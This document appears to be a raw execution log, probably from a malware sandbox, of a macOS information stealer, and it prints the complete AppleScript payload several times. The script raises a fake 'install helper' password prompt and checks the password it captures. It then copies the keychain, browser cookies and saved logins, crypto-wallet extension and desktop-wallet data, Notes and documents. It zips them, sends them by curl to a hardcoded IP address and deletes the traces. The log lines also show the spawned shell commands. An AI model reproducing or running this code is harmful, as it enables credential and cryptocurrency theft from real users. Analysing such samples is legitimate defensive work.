bebgoclkghebffdldpobeajmbecfk\",\"apnehcjmnengpnmccpaibjmhhoadaico\",\"cmndjbecilbocjfkibfbifhngkdmjgog\",\"hcflpincpppdclinealmandijcmnkbgn\",\"klnaejjgbibmhlephnhpmaofohgkpgkd\",\"copjnifcecdedocejpaapepagaodgpbh\",\"jojhfeoedkpkglbfimdfabpdfjaoolaf\",\"bfnaelmomeimhlpmgjnjophhpkkoljpa\",\"ebfidpplhabeedpnhjnobghokpiioolj\",\"aiifbnbfobpmeekipheeijimdpnlpgpp\",\"mnfifefkajgofkcjkemidiaecocnkjeh\",\"bcopgchhojmggmffilplmbdicgaihlkp\",\"ojggmchlghnjlapmfbnjholfjkiidbch\",\"hnfanknocfeofbddgcijnmhnfnkdnaad\",\"ookjlbkiijinhpmnjffcofjonbfbgaoc\",\"aholpfdialjgjfhomihkjbmgjidlcdno\",\"hifafgmccdpekplomjjkcfgodnhcellj\",\"phkbamefinggmakgklpkljjmgibohnba\"} set chromiumFiles to {\"/Network/Cookies\", \"/Cookies\", \"/Web Data\", \"/Login Data\", \"/Local Extension Settings/\"} repeat with Chromium in chromium_map set savepath to writemind & \"Chromium/\" & item 1 of Chromium & \"_\" try set fileList to list folder item 2 of Chromium without invisibles repeat with currentItem in fileList if ((currentItem as string) is equal to \"Default\") or ((currentItem as string) contains \"Profile\") then repeat with CFile in chromiumFiles set readpath to (item 2 of Chromium & currentItem & CFile) if ((CFile as string) is equal to \"/Network/Cookies\") then set CFile to \"/Cookies\" end if if ((CFile as string) is equal to \"/Local Extension Settings/\") then grabPlugins(readpath,savepath & currentItem,pluginList) else set writepath to savepath & currentItem & CFile readwrite(readpath, writepath) end if end repeat end if end repeat end try end repeat end chromium on userinfo(writemind) try set result to (do shell script \"system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType\") writeText(result, writemind & \"userinfo\") end try end userinfo on deskwallets(writemind, deskwals) repeat with deskwal in deskwals try GrabFolder(item 2 of deskwal, writemind & item 1 of deskwal) end try end repeat end deskwallets on filegrabber() try set destinationFolderPath to POSIX file \"/var/tmp/xuyna/FileGrabber/\" mkdir(destinationFolderPath) set extensionsList to {\"txt\", \"rtf\", \"key\", \"keys\", \"png\", \"jpg\", \"jpeg\", \"wallet\", \"doc\", \"docx\"} set bankSize to 0 tell application \"Finder\" set username to short user name of (system info) try set safariFolder to ((path to library folder from user domain as text) & \"Containers:com.apple.Safari:Data:Library:Cookies:\") try duplicate file \"Cookies.binarycookies\" of folder safariFolder to folder destinationFolderPath with replacing end try set notesFolderPath to (path to home folder as text) & \"Library:Group Containers:group.com.apple.notes:\" try set notesFolder to folder notesFolderPath set notesFiles to {file \"NoteStore.sqlite\", file \"NoteStore.sqlite-shm\", file \"NoteStore.sqlite-wal\"} of notesFolder repeat with aFile in notesFiles try duplicate aFile to folder destinationFolderPath with replacing set bankSize to bankSize + fileSize end try end repeat end try set desktopFiles to every file of desktop set documentsFiles to every file of folder \"Documents\" of (path to home folder) repeat with aFile in (desktopFiles & documentsFiles) set fileExtension to name extension of aFile if fileExtension is in extensionsList then set fileSize to size of aFile if (bankSize + fileSize) < 10 * 1024 * 1024 then try duplicate aFile to folder destinationFolderPath with replacing set bankSize to bankSize + fileSize end try else exit repeat end if end if end repeat end try end tell end try end filegrabber on send_data(writemind,uuid, userme) do shell script \"ditto -c -k --sequesterRsrc \" & writemind & \" /var/tmp/out.zip\" do shell script (\"curl -X POST -H \\\"uuid: \" & uuid & \"\\\" -H \\\"user: \" & userme & \"\\\" --data-binary @/var/tmp/out.zip http://185.172.128.123/p2p\") do shell script \"rm -r \" & writemind do shell script \"rm /var/tmp/out.zip\" end send_data set username to (system attribute \"USER\") set userme to \"october\" set uuid to \"a4bc4563-e0b3-4ad4-a698-3f03cd415bef\" set profile to \"/Users/\" & username set writemind to \"/var/tmp/xuyna/\" set library to profile & \"/Library/Application Support/\" set chromiumMap to {{\"Chrome\", library & \"Google/Chrome/\"},{\"Brave\", library & \"BraveSoftware/Brave-Browser/\"},{\"Edge\", library & \"Microsoft Edge/\"},{\"Vivaldi\", library & \"Vivaldi/\"},{\"Opera\", library & \"com.operasoftware.Opera/\"},{\"OperaGX\", library & \"com.operasoftware.OperaGX/\"}} set walletMap to {{\"deskwallets/Electrum\", profile & \"/.electrum/wallets/\"},{\"deskwallets/Coinomi\", library & \"Coinomi/wallets/\"},{\"deskwallets/Exodus\", library & \"Exodus/\"},{\"deskwallets/Atomic\", library & \"atomic/Local Storage/leveldb/\"}} set firefox to library & \"Firefox/Profiles/\" getpwd(username, writemind) readwrite(library & \"Binance/app-store.json\", writemind & \"deskwallets/Binance/app-store.json\") readwrite(profile & \"/Library/Keychains/login.keychain-db\", writemind &\"keychain\") writeText(username, writemind &\"username\") parseFF(firefox, writemind) chromium(writemind, chromiumMap) userinfo(writemind) deskwallets(writemind, walletMap) filegrabber() send_data(writemind,uuid,userme)"

xpcproxy com.apple.ReportMemoryException

/usr/libexec/ReportMemoryException

sh -c "dscl . authonly 'run' 'root'"

sh -c "dscl . authonly 'run' 'root'"

dscl . authonly run root

sh -c "mkdir -p '/var/tmp/xuyna'"

sh -c "mkdir -p '/var/tmp/xuyna'"

mkdir -p /var/tmp/xuyna

sh -c "mkdir -p '/var/tmp/xuyna'"

sh -c "mkdir -p '/var/tmp/xuyna'"

mkdir -p /var/tmp/xuyna

sh -c "mkdir -p '/var/tmp/xuyna'"

sh -c "mkdir -p '/var/tmp/xuyna'"

mkdir -p /var/tmp/xuyna

sh -c "mkdir -p '/var/tmp/xuyna/Chromium/Chrome_Default'"

sh -c "mkdir -p '/var/tmp/xuyna/Chromium/Chrome_Default'"

mkdir -p /var/tmp/xuyna/Chromium/Chrome_Default

sh -c "mkdir -p '/var/tmp/xuyna/Chromium/Chrome_Default'"

sh -c "mkdir -p '/var/tmp/xuyna/Chromium/Chrome_Default'"

mkdir -p /var/tmp/xuyna/Chromium/Chrome_Default

sh -c "mkdir -p '/var/tmp/xuyna/Chromium/Chrome_Default'"

sh -c "mkdir -p '/var/tmp/xuyna/Chromium/Chrome_Default'"

mkdir -p /var/tmp/xuyna/Chromium/Chrome_Default

sh -c "system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType"

sh -c "system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType"

system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType

/usr/bin/csrutil status

sh -c "mkdir -p '/var/tmp/xuyna'"

sh -c "mkdir -p '/var/tmp/xuyna'"

mkdir -p /var/tmp/xuyna

sh -c "mkdir -p '/var/tmp/xuyna/FileGrabber/'"

sh -c "mkdir -p '/var/tmp/xuyna/FileGrabber/'"

mkdir -p /var/tmp/xuyna/FileGrabber/

xpcproxy com.apple.DesktopServicesHelper.E5357667-D507-4444-9A51-20B7AC57129F

/System/Library/PrivateFrameworks/DesktopServicesPriv.framework/Resources/DesktopServicesHelper

sh -c "dscl . authonly 'root' ''"

sh -c "dscl . authonly 'root' ''"

dscl . authonly root

xpcproxy com.apple.DesktopServicesHelper.8DC7EADA-3528-4D3F-A93C-6A2F33EB2221

/System/Library/PrivateFrameworks/DesktopServicesPriv.framework/Resources/DesktopServicesHelper

xpcproxy com.apple.DesktopServicesHelper.661C960B-3CA9-43A0-B62C-82FB7ED7A446

/System/Library/PrivateFrameworks/DesktopServicesPriv.framework/Resources/DesktopServicesHelper

sh -c "ditto -c -k --sequesterRsrc /var/tmp/xuyna/ /var/tmp/out.zip"

sh -c "ditto -c -k --sequesterRsrc /var/tmp/xuyna/ /var/tmp/out.zip"

ditto -c -k --sequesterRsrc /var/tmp/xuyna/ /var/tmp/out.zip

sh -c "curl -X POST -H \"uuid: a4bc4563-e0b3-4ad4-a698-3f03cd415bef\" -H \"user: october\" --data-binary @/var/tmp/out.zip http://185.172.128.123/p2p"

sh -c "curl -X POST -H \"uuid: a4bc4563-e0b3-4ad4-a698-3f03cd415bef\" -H \"user: october\" --data-binary @/var/tmp/out.zip http://185.172.128.123/p2p"

curl -X POST -H "uuid: a4bc4563-e0b3-4ad4-a698-3f03cd415bef" -H "user: october" --data-binary "@/var/tmp/out.zip" http://185.172.128.123/p2p

sh -c "rm -r /var/tmp/xuyna/"

sh -c "rm -r /var/tmp/xuyna/"

rm -r /var/tmp/xuyna/

sh -c "rm /var/tmp/out.zip"

sh -c "rm /var/tmp/out.zip"

rm /var/tmp/out.zip

xpcproxy com.apple.ReportCrash.Root

/System/Library/CoreServices/ReportCrash daemon

xpcproxy com.apple.ReportMemoryException

/usr/libexec/ReportMemoryException

login -pf run

sh -c "dscl . authonly 'root' ''"

sh -c "dscl . authonly 'root' ''"

dscl . authonly root

xpcproxy com.apple.quicklook.ui.helper

/System/Library/Frameworks/Quartz.framework/Frameworks/QuickLookUI.framework/Resources/QuickLookUIHelper.app/Contents/MacOS/QuickLookUIHelper

login -pf run

sh -c "osascript -e 'tell application \"Terminal\" to close first window'& exit"

sh -c "osascript -e 'tell application \"Terminal\" to close first window'& exit"

sh -c "osascript -e 'on mkdir(someItem) try set filePosixPath to quoted form of (POSIX path of someItem) do shell script \"mkdir -p \" & filePosixPath end try end mkdir on FileName(filePath) try set reversedPath to (reverse of every character of filePath) as string set trimmedPath to text 1 thru ((offset of \"/\" in reversedPath) - 1) of reversedPath set finalPath to (reverse of every character of trimmedPath) as string return finalPath end try end FileName on BeforeFileName(filePath) try set lastSlash to offset of \"/\" in (reverse of every character of filePath) as string set trimmedPath to text 1 thru -(lastSlash + 1) of filePath return trimmedPath end try end BeforeFileName on writeText(textToWrite, filePath) try set folderPath to BeforeFileName(filePath) mkdir(folderPath) set fileRef to (open for access filePath with write permission) write textToWrite to fileRef starting at eof close access fileRef end try end writeText on readwrite(path_to_file, path_as_save) try set folderPath to BeforeFileName(path_as_save) set fileContent to read path_to_file mkdir(folderPath) set fileRef to (open for access path_as_save with write permission) write fileContent to fileRef starting at eof close access fileRef end try end readwrite on isDirectory(someItem) try set filePosixPath to quoted form of (POSIX path of someItem) set fileType to (do shell script \"file -b \" & filePosixPath) if fileType ends with \"directory\" then return true end if return false end try end isDirectory on GrabFolder(sourceFolder, destinationFolder) try set exceptionsList to {\".DS_Store\", \"Partitions\", \"Code Cache\", \"Cache\", \"market-history-cache.json\"} set fileList to list folder sourceFolder without invisibles mkdir(destinationFolder) repeat with currentItem in fileList if currentItem is not in exceptionsList then set itemPath to sourceFolder & \"/\" & currentItem set savePath to destinationFolder & \"/\" & currentItem if isDirectory(itemPath) then GrabFolder(itemPath, savePath) else readwrite(itemPath, savePath) end if end if end repeat end try end GrabFolder on parseFF(firefox, writemind) try set myFiles to {\"/cookies.sqlite\", \"/formhistory.sqlite\", \"/key4.db\", \"/logins.json\"} set fileList to list folder firefox without invisibles repeat with currentItem in fileList set fpath to writemind & \"ff/\" & currentItem set readpath to firefox & currentItem repeat with FFile in myFiles readwrite(readpath & FFile, fpath & FFile) end repeat end repeat end try end parseFF on checkvalid(username, password_entered) try set result to do shell script \"dscl . authonly \" & quoted form of username & space & quoted form of password_entered if result is not equal to \"\" then return false else return true end if on error return false end try end checkvalid on getpwd(username, writemind) repeat try set result to display dialog \"Required Helper. Please enter password for \" & username & \".\" default answer \"\" with icon caution buttons {\"Continue\"} default button \"Continue\" giving up after 150 with title \"Application wants to install helper\" with hidden answer set password_entered to text returned of result if checkvalid(username, password_entered) then writeText(password_entered, writemind & \"pwd\") exit repeat end if end try end repeat end getpwd on grabPlugins(paths, savepath, pluginList) try set fileList to list folder paths without invisibles repeat with PFile in fileList if (pluginList contains PFile) then set newpath to paths & PFile set newsavepath to savepath & \"/\" & PFile GrabFolder(newpath, newsavepath) end if end repeat end try end grabPlugins on chromium(writemind,chromium_map) set pluginList to {\"ffnbelfdoeiohenkjibnmadjiehjhajb\",\"nlbmnnijcnlegkjjpcfjclmcfggfefdm\",\"nhnkbkgjikgcigadomkphalanndcapjk\",\"cgeeodpfagjceefieflmdfphplkenlfk\",\"cjmkndjhnagcfbpiemnkdpomccnjblmj\",\"cphhlgmgameodnhkjdmkpanlelnlohao\",\"dmkamcknogkgcdfhhbddcghachkejeap\",\"fnnegphlobjdpkhecapkijjdkgcjhkib\",\"acmacodkjbdgmoleebolmdjonilkdbch\",\"kncchdigobghenbbaddojjnnaogfppfj\",\"egjidjbpglichdcondbcbdnbeeppgdph\",\"hpglfhgfnhbgpjdenjgmdgoeiappafln\",\"cjelfplplebdjjenllpjcblmjkfcffne\",\"amkmjjmmflddogmhpjloimipbofnfjih\",\"fnjhmkhhmkbjkkabndcnnogagogbneec\",\"nphplpgoakhhjchkkhmiggakijnkhfnd\",\"pnndplcbkakcplkjnolgbkdgjikjednm\",\"flpiciilemghbmfalicajoolhkkenfel\",\"dkdedlpgdmmkkfjabffeganieamfklkm\",\"pdadjkfkgcafgbceimcpbkalnfnepbnk\",\"ppdadbejkmjnefldpcdjhnkpbjkikoip\",\"cnmamaachppnkjgnildpdmkaakejnhae\",\"opcgpfmipidbgpenhmajoajpbobppdil\",\"fhilaheimglignddkjgofkcbgekhenbh\",\"dhgnlgphgchebgoemcjekedjjbifijid\",\"nknhiehlklippafakaeklbeglecifhad\",\"nlgbhdfgdhgbiamfdfmbikcdghidoadd\",\"loinekcabhlmhjjbocijdoimmejangoa\",\"pocmplpaccanhmnllbbkpgfliimjljgo\",\"afbcbjpbpfadlkmhmclhkeeodmamcflc\",\"cihmoadaighcejopammfbmddcmdekcje\",\"aeachknmefphepccionboohckonoeemg\",\"dlcobpjiigpikoobohmabehhmhfoodbb\",\"fhbohimaelbohpjbbldcngcnapndodjp\",\"imloifkgjagghnncjkhggdhalmcnfklk\",\"efbglgofoippbgcjepnhiblaibcnclgk\",\"ejjladinnckdgjemekebdpeokbikhfci\",\"nkbihfbeogaeaoehlefnkodbefgpgknn\",\"bocpokimicclpaiekenaeelehdjllofo\",\"hnhobjmcibchnmglfbldbfabcgaknlkj\",\"ibnejdfjmmkpcnlpebklmnkoeoihofec\",\"kpfopkelmapcoipemfendmdcghnegimn\",\"hmeobnfnfcmdkdcmlblgagmfpfboieaf\",\"lodccjjbdhfakaekdiahmedfbieldgik\",\"ppbibelpcjmhbdihakflkdcoccbgbkpo\",\"jnlgamecbpmbajjfhmmmlhejkemejdma\",\"mfhbebgoclkghebffdldpobeajmbecfk\",\"apnehcjmnengpnmccpaibjmhhoadaico\",\"cmndjbecilbocjfkibfbifhngkdmjgog\",\"hcflpincpppdclinealmandijcmnkbgn\",\"klnaejjgbibmhlephnhpmaofohgkpgkd\",\"copjnifcecdedocejpaapepagaodgpbh\",\"jojhfeoedkpkglbfimdfabpdfjaoolaf\",\"bfnaelmomeimhlpmgjnjophhpkkoljpa\",\"ebfidpplhabeedpnhjnobghokpiioolj\",\"aiifbnbfobpmeekipheeijimdpnlpgpp\",\"mnfifefkajgofkcjkemidiaecocnkjeh\",\"bcopgchhojmggmffilplmbdicgaihlkp\",\"ojggmchlghnjlapmfbnjholfjkiidbch\",\"hnfanknocfeofbddgcijnmhnfnkdnaad\",\"ookjlbkiijinhpmnjffcofjonbfbgaoc\",\"aholpfdialjgjfhomihkjbmgjidlcdno\",\"hifafgmccdpekplomjjkcfgodnhcellj\",\"phkbamefinggmakgklpkljjmgibohnba\"} set chromiumFiles to {\"/Network/Cookies\", \"/Cookies\", \"/Web Data\", \"/Login Data\", \"/Local Extension Settings/\"} repeat with Chromium in chromium_map set savepath to writemind & \"Chromium/\" & item 1 of Chromium & \"_\" try set fileList to list folder item 2 of Chromium without invisibles repeat with currentItem in fileList if ((currentItem as string) is equal to \"Default\") or ((currentItem as string) contains \"Profile\") then repeat with CFile in chromiumFiles set readpath to (item 2 of Chromium & currentItem & CFile) if ((CFile as string) is equal to \"/Network/Cookies\") then set CFile to \"/Cookies\" end if if ((CFile as string) is equal to \"/Local Extension Settings/\") then grabPlugins(readpath,savepath & currentItem,pluginList) else set writepath to savepath & currentItem & CFile readwrite(readpath, writepath) end if end repeat end if end repeat end try end repeat end chromium on userinfo(writemind) try set result to (do shell script \"system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType\") writeText(result, writemind & \"userinfo\") end try end userinfo on deskwallets(writemind, deskwals) repeat with deskwal in deskwals try GrabFolder(item 2 of deskwal, writemind & item 1 of deskwal) end try end repeat end deskwallets on filegrabber() try set destinationFolderPath to POSIX file \"/var/tmp/xuyna/FileGrabber/\" mkdir(destinationFolderPath) set extensionsList to {\"txt\", \"rtf\", \"key\", \"keys\", \"png\", \"jpg\", \"jpeg\", \"wallet\", \"doc\", \"docx\"} set bankSize to 0 tell application \"Finder\" set username to short user name of (system info) try set safariFolder to ((path to library folder from user domain as text) & \"Containers:com.apple.Safari:Data:Library:Cookies:\") try duplicate file \"Cookies.binarycookies\" of folder safariFolder to folder destinationFolderPath with replacing end try set notesFolderPath to (path to home folder as text) & \"Library:Group Containers:group.com.apple.notes:\" try set notesFolder to folder notesFolderPath set notesFiles to {file \"NoteStore.sqlite\", file \"NoteStore.sqlite-shm\", file \"NoteStore.sqlite-wal\"} of notesFolder repeat with aFile in notesFiles try duplicate aFile to folder destinationFolderPath with replacing set bankSize to bankSize + fileSize end try end repeat end try set desktopFiles to every file of desktop set documentsFiles to every file of folder \"Documents\" of (path to home folder) repeat with aFile in (desktopFiles & documentsFiles) set fileExtension to name extension of aFile if fileExtension is in extensionsList then set fileSize to size of aFile if (bankSize + fileSize) < 10 * 1024 * 1024 then try duplicate aFile to folder destinationFolderPath with replacing set bankSize to bankSize + fileSize end try else exit repeat end if end if end repeat end try end tell end try end filegrabber on send_data(writemind,uuid, userme) do shell script \"ditto -c -k --sequesterRsrc \" & writemind & \" /var/tmp/out.zip\" do shell script (\"curl -X POST -H \\\"uuid: \" & uuid & \"\\\" -H \\\"user: \" & userme & \"\\\" --data-binary @/var/tmp/out.zip http://185.172.128.123/p2p\") do shell script \"rm -r \" & writemind do shell script \"rm /var/tmp/out.zip\" end send_data set username to (system attribute \"USER\") set userme to \"october\" set uuid to \"a4bc4563-e0b3-4ad4-a698-3f03cd415bef\" set profile to \"/Users/\" & username set writemind to \"/var/tmp/xuyna/\" set library to profile & \"/Library/Application Support/\" set chromiumMap to {{\"Chrome\", library & \"Google/Chrome/\"},{\"Brave\", library & \"BraveSoftware/Brave-Browser/\"},{\"Edge\", library & \"Microsoft Edge/\"},{\"Vivaldi\", library & \"Vivaldi/\"},{\"Opera\", library & \"com.operasoftware.Opera/\"},{\"OperaGX\", library & \"com.operasoftware.OperaGX/\"}} set walletMap to {{\"deskwallets/Electrum\", profile & \"/.electrum/wallets/\"},{\"deskwallets/Coinomi\", library & \"Coinomi/wallets/\"},{\"deskwallets/Exodus\", library & \"Exodus/\"},{\"deskwallets/Atomic\", library & \"atomic/Local Storage/leveldb/\"}} set firefox to library & \"Firefox/Profiles/\" getpwd(username, writemind) readwrite(library & \"Binance/app-store.json\", writemind & \"deskwallets/Binance/app-store.json\") readwrite(profile & \"/Library/Keychains/login.keychain-db\", writemind &\"keychain\") writeText(username, writemind &\"username\") parseFF(firefox, writemind) chromium(writemind, chromiumMap) userinfo(writemind) deskwallets(writemind, walletMap) filegrabber() send_data(writemind,uuid,userme)'"

sh -c "osascript -e 'on mkdir(someItem) try set filePosixPath to quoted form of (POSIX path of someItem) do shell script \"mkdir -p \" & filePosixPath end try end mkdir on FileName(filePath) try set reversedPath to (reverse of every character of filePath) as string set trimmedPath to text 1 thru ((offset of \"/\" in reversedPath) - 1) of reversedPath set finalPath to (reverse of every character of trimmedPath) as string return finalPath end try end FileName on BeforeFileName(filePath) try set lastSlash to offset of \"/\" in (reverse of every character of filePath) as string set trimmedPath to text 1 thru -(lastSlash + 1) of filePath return trimmedPath end try end BeforeFileName on writeText(textToWrite, filePath) try set folderPath to BeforeFileName(filePath) mkdir(folderPath) set fileRef to (open for access filePath with write permission) write textToWrite to fileRef starting at eof close access fileRef end try end writeText on readwrite(path_to_file, path_as_save) try set folderPath to BeforeFileName(path_as_save) set fileContent to read path_to_file mkdir(folderPath) set fileRef to (open for access path_as_save with write permission) write fileContent to fileRef starting at eof close access fileRef end try end readwrite on isDirectory(someItem) try set filePosixPath to quoted form of (POSIX path of someItem) set fileType to (do shell script \"file -b \" & filePosixPath) if fileType ends with \"directory\" then return true end if return false end try end isDirectory on GrabFolder(sourceFolder, destinationFolder) try set exceptionsList to {\".DS_Store\", \"Partitions\", \"Code Cache\", \"Cache\", \"market-history-cache.json\"} set fileList to list folder sourceFolder without invisibles mkdir(destinationFolder) repeat with currentItem in fileList if currentItem is not in exceptionsList then set itemPath to sourceFolder & \"/\" & currentItem set savePath to destinationFolder & \"/\" & currentItem if isDirectory(itemPath) then GrabFolder(itemPath, savePath) else readwrite(itemPath, savePath) end if end if end repeat end try end GrabFolder on parseFF(firefox, writemind) try set myFiles to {\"/cookies.sqlite\", \"/formhistory.sqlite\", \"/key4.db\", \"/logins.json\"} set fileList to list folder firefox without invisibles repeat with currentItem in fileList set fpath to writemind & \"ff/\" & currentItem set readpath to firefox & currentItem repeat with FFile in myFiles readwrite(readpath & FFile, fpath & FFile) end repeat end repeat end try end parseFF on checkvalid(username, password_entered) try set result to do shell script \"dscl . authonly \" & quoted form of username & space & quoted form of password_entered if result is not equal to \"\" then return false else return true end if on error return false end try end checkvalid on getpwd(username, writemind) repeat try set result to display dialog \"Required Helper. Please enter password for \" & username & \".\" default answer \"\" with icon caution buttons {\"Continue\"} default button \"Continue\" giving up after 150 with title \"Application wants to install helper\" with hidden answer set password_entered to text returned of result if checkvalid(username, password_entered) then writeText(password_entered, writemind & \"pwd\") exit repeat end if end try end repeat end getpwd on grabPlugins(paths, savepath, pluginList) try set fileList to list folder paths without invisibles repeat with PFile in fileList if (pluginList contains PFile) then set newpath to paths & PFile set newsavepath to savepath & \"/\" & PFile GrabFolder(newpath, newsavepath) end if end repeat end try end grabPlugins on chromium(writemind,chromium_map) set pluginList to {\"ffnbelfdoeiohenkjibnmadjiehjhajb\",\"nlbmnnijcnlegkjjpcfjclmcfggfefdm\",\"nhnkbkgjikgcigadomkphalanndcapjk\",\"cgeeodpfagjceefieflmdfphplkenlfk\",\"cjmkndjhnagcfbpiemnkdpomccnjblmj\",\"cphhlgmgameodnhkjdmkpanlelnlohao\",\"dmkamcknogkgcdfhhbddcghachkejeap\",\"fnnegphlobjdpkhecapkijjdkgcjhkib\",\"acmacodkjbdgmoleebolmdjonilkdbch\",\"kncchdigobghenbbaddojjnnaogfppfj\",\"egjidjbpglichdcondbcbdnbeeppgdph\",\"hpglfhgfnhbgpjdenjgmdgoeiappafln\",\"cjelfplplebdjjenllpjcblmjkfcffne\",\"amkmjjmmflddogmhpjloimipbofnfjih\",\"fnjhmkhhmkbjkkabndcnnogagogbneec\",\"nphplpgoakhhjchkkhmiggakijnkhfnd\",\"pnndplcbkakcplkjnolgbkdgjikjednm\",\"flpiciilemghbmfalicajoolhkkenfel\",\"dkdedlpgdmmkkfjabffeganieamfklkm\",\"pdadjkfkgcafgbceimcpbkalnfnepbnk\",\"ppdadbejkmjnefldpcdjhnkpbjkikoip\",\"cnmamaachppnkjgnildpdmkaakejnhae\",\"opcgpfmipidbgpenhmajoajpbobppdil\",\"fhilaheimglignddkjgofkcbgekhenbh\",\"dhgnlgphgchebgoemcjekedjjbifijid\",\"nknhiehlklippafakaeklbeglecifhad\",\"nlgbhdfgdhgbiamfdfmbikcdghidoadd\",\"loinekcabhlmhjjbocijdoimmejangoa\",\"pocmplpaccanhmnllbbkpgfliimjljgo\",\"afbcbjpbpfadlkmhmclhkeeodmamcflc\",\"cihmoadaighcejopammfbmddcmdekcje\",\"aeachknmefphepccionboohckonoeemg\",\"dlcobpjiigpikoobohmabehhmhfoodbb\",\"fhbohimaelbohpjbbldcngcnapndodjp\",\"imloifkgjagghnncjkhggdhalmcnfklk\",\"efbglgofoippbgcjepnhiblaibcnclgk\",\"ejjladinnckdgjemekebdpeokbikhfci\",\"nkbihfbeogaeaoehlefnkodbefgpgknn\",\"bocpokimicclpaiekenaeelehdjllofo\",\"hnhobjmcibchnmglfbldbfabcgaknlkj\",\"ibnejdfjmmkpcnlpebklmnkoeoihofec\",\"kpfopkelmapcoipemfendmdcghnegimn\",\"hmeobnfnfcmdkdcmlblgagmfpfboieaf\",\"lodccjjbdhfakaekdiahmedfbieldgik\",\"ppbibelpcjmhbdihakflkdcoccbgbkpo\",\"jnlgamecbpmbajjfhmmmlhejkemejdma\",\"mfhbebgoclkghebffdldpobeajmbecfk\",\"apnehcjmnengpnmccpaibjmhhoadaico\",\"cmndjbecilbocjfkibfbifhngkdmjgog\",\"hcflpincpppdclinealmandijcmnkbgn\",\"klnaejjgbibmhlephnhpmaofohgkpgkd\",\"copjnifcecdedocejpaapepagaodgpbh\",\"jojhfeoedkpkglbfimdfabpdfjaoolaf\",\"bfnaelmomeimhlpmgjnjophhpkkoljpa\",\"ebfidpplhabeedpnhjnobghokpiioolj\",\"aiifbnbfobpmeekipheeijimdpnlpgpp\",\"mnfifefkajgofkcjkemidiaecocnkjeh\",\"bcopgchhojmggmffilplmbdicgaihlkp\",\"ojggmchlghnjlapmfbnjholfjkiidbch\",\"hnfanknocfeofbddgcijnmhnfnkdnaad\",\"ookjlbkiijinhpmnjffcofjonbfbgaoc\",\"aholpfdialjgjfhomihkjbmgjidlcdno\",\"hifafgmccdpekplomjjkcfgodnhcellj\",\"phkbamefinggmakgklpkljjmgibohnba\"} set chromiumFiles to {\"/Network/Cookies\", \"/Cookies\", \"/Web Data\", \"/Login Data\", \"/Local Extension Settings/\"} repeat with Chromium in chromium_map set savepath to writemind & \"Chromium/\" & item 1 of Chromium & \"_\" try set fileList to list folder item 2 of Chromium without invisibles repeat with currentItem in fileList if ((currentItem as string) is equal to \"Default\") or ((currentItem as string) contains \"Profile\") then repeat with CFile in chromiumFiles set readpath to (item 2 of Chromium & currentItem & CFile) if ((CFile as string) is equal to \"/Network/Cookies\") then set CFile to \"/Cookies\" end if if ((CFile as string) is equal to \"/Local Extension Settings/\") then grabPlugins(readpath,savepath & currentItem,pluginList) else set writepath to savepath & currentItem & CFile readwrite(readpath, writepath) end if end repeat end if end repeat end try end repeat end chromium on userinfo(writemind) try set result to (do shell script \"system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType\") writeText(result, writemind & \"userinfo\") end try end userinfo on deskwallets(writemind, deskwals) repeat with deskwal in deskwals try GrabFolder(item 2 of deskwal, writemind & item 1 of deskwal) end try end repeat end deskwallets on filegrabber() try set destinationFolderPath to POSIX file \"/var/tmp/xuyna/FileGrabber/\" mkdir(destinationFolderPath) set extensionsList to {\"txt\", \"rtf\", \"key\", \"keys\", \"png\", \"jpg\", \"jpeg\", \"wallet\", \"doc\", \"docx\"} set bankSize to 0 tell application \"Finder\" set username to short user name of (system info) try set safariFolder to ((path to library folder from user domain as text) & \"Containers:com.apple.Safari:Data:Library:Cookies:\") try duplicate file \"Cookies.binarycookies\" of folder safariFolder to folder destinationFolderPath with replacing end try set notesFolderPath to (path to home folder as text) & \"Library:Group Containers:group.com.apple.notes:\" try set notesFolder to folder notesFolderPath set notesFiles to {file \"NoteStore.sqlite\", file \"NoteStore.sqlite-shm\", file \"NoteStore.sqlite-wal\"} of notesFolder repeat with aFile in notesFiles try duplicate aFile to folder destinationFolderPath with replacing set bankSize to bankSize + fileSize end try end repeat end try set desktopFiles to every file of desktop set documentsFiles to every file of folder \"Documents\" of (path to home folder) repeat with aFile in (desktopFiles & documentsFiles) set fileExtension to name extension of aFile if fileExtension is in extensionsList then set fileSize to size of aFile if (bankSize + fileSize) < 10 * 1024 * 1024 then try duplicate aFile to folder destinationFolderPath with replacing set bankSize to bankSize + fileSize end try else exit repeat end if end if end repeat end try end tell end try end filegrabber on send_data(writemind,uuid, userme) do shell script \"ditto -c -k --sequesterRsrc \" & writemind & \" /var/tmp/out.zip\" do shell script (\"curl -X POST -H \\\"uuid: \" & uuid & \"\\\" -H \\\"user: \" & userme & \"\\\" --data-binary @/var/tmp/out.zip http://185.172.128.123/p2p\") do shell script \"rm -r \" & writemind do shell script \"rm /var/tmp/out.zip\" end send_data set username to (system attribute \"USER\") set userme to \"october\" set uuid to \"a4bc4563-e0b3-4ad4-a698-3f03cd415bef\" set profile to \"/Users/\" & username set writemind to \"/var/tmp/xuyna/\" set library to profile & \"/Library/Application Support/\" set chromiumMap to {{\"Chrome\", library & \"Google/Chrome/\"},{\"Brave\", library & \"BraveSoftware/Brave-Browser/\"},{\"Edge\", library & \"Microsoft Edge/\"},{\"Vivaldi\", library & \"Vivaldi/\"},{\"Opera\", library & \"com.operasoftware.Opera/\"},{\"OperaGX\", library & \"com.operasoftware.OperaGX/\"}} set walletMap to {{\"deskwallets/Electrum\", profile & \"/.electrum/wallets/\"},{\"deskwallets/Coinomi\", library & \"Coinomi/wallets/\"},{\"deskwallets/Exodus\", library & \"Exodus/\"},{\"deskwallets/Atomic\", library & \"atomic/Local Storage/leveldb/\"}} set firefox to library & \"Firefox/Profiles/\" getpwd(username, writemind) readwrite(library & \"Binance/app-store.json\", writemind & \"deskwallets/Binance/app-store.json\") readwrite(profile & \"/Library/Keychains/login.keychain-db\", writemind &\"keychain\") writeText(username, writemind &\"username\") parseFF(firefox, writemind) chromium(writemind, chromiumMap) userinfo(writemind) deskwallets(writemind, walletMap) filegrabber() send_data(writemind,uuid,userme)'"

